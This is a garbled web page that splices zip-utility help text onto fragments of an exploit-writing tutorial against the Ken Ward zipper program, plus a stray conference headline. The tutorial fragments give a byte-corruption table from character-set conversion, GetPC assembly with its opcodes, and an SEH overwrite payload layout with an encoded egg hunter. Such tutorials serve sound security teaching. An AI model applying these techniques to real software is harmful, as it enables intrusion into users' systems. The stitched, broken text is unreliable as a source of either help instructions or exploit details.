You can do this by going to the Unzip screen and selecting the unwanted files or file, and pressing the delete key, or using one of the other methods popup menu, Main Menu, etc. You can then go to the Zip screen and add the replacement files.

An open dialog appears, and you add your name for the list, and follow the procedure. If you have previously saved a list of files and you wish to reload it, say to make slight modifications or additions, then you can use " Load a List of Files " and you can search for your saved list.

This is the final action after you have opened a zip file and chosen your destination directory. If you do not choose a distinction directory, the files will be unzipped into whichever directory is current. You can preview files in a zip by double clicking on the file.

Blackhat Europe Barcelona — Day 01 ». Summarizing the abysssec. Works fine, but the process of doing that was rather complex and time consuming. Impact of character set conversion 2 things can happen when a payload is subject to conversion : it can get truncated… basically the payload gets cut off and parts of the payload are lost.

So far so good. There are 2 ways to determine and document the conversion. Alternatively, we can let pvefindaddr do this nasty work for us. This means that we can use pvefindaddr to compare those 2 and indicate the changes :! What can we do with this?

Good question…well we can do a lot with this. Corruption at position : Original byte : 81 - Byte in memory : fc Corruption at position : Original byte : 93 - Byte in memory : f4 Corruption at position : Original byte : 94 - Byte in memory : f6 Corruption at position : Original byte : 95 - Byte in memory : f2 Corruption at position : Original byte : 96 - Byte in memory : fb Corruption at position : Original byte : 97 - Byte in memory : f9 Corruption at position : Original byte : 98 - Byte in memory : ff Corruption at position : Original byte : a2 - Byte in memory : f3 Corruption at position : Original byte : a3 - Byte in memory : fa Corruption at position : Original byte : a4 - Byte in memory : f1 Corruption at position : Original byte : f6 - Byte in memory : f7 you can even expand the list and include bytes that start with "e" as well — those would result in jumping back as well So if you want to jump back 12 bytes, you want to get 0xeb 0xf4.

You can even take things one step further. Perhaps we can produce GetPC code. If that works, this would be a huge time saver! Take a look at the backward call getPC code as illustrated in my shellcoding tutorial : [BITS 32] jmp short corelan geteip: pop esi call esi ;this will jump to decoder corelan: call geteip decoder: ; decoder goes here shellcode: ; encoded shellcode goes here If we look at the opcode for this GetPc routine, we get this : jmp short corelan : 0xeb 0x03 geteip : pop esi : 0x5e call esi : 0xff 0xd6 corelan : call geteip : 0xe8 0xf8 0xff 0xff 0xff When this GetPC code runs, esi will point to the location directly after the call geteip instruction.

Putting things together : Ken Ward zipper exploit : improved version The payload structure, based on the knowledge we gained in the first article abysssec. GetPC code encoded egg hunter a few nops far jump backward to land in the nops before the GetPC code at nseh, we will make a short jump back, landing in the nops before the far jump backward we will overwrite seh with an address from zip4.
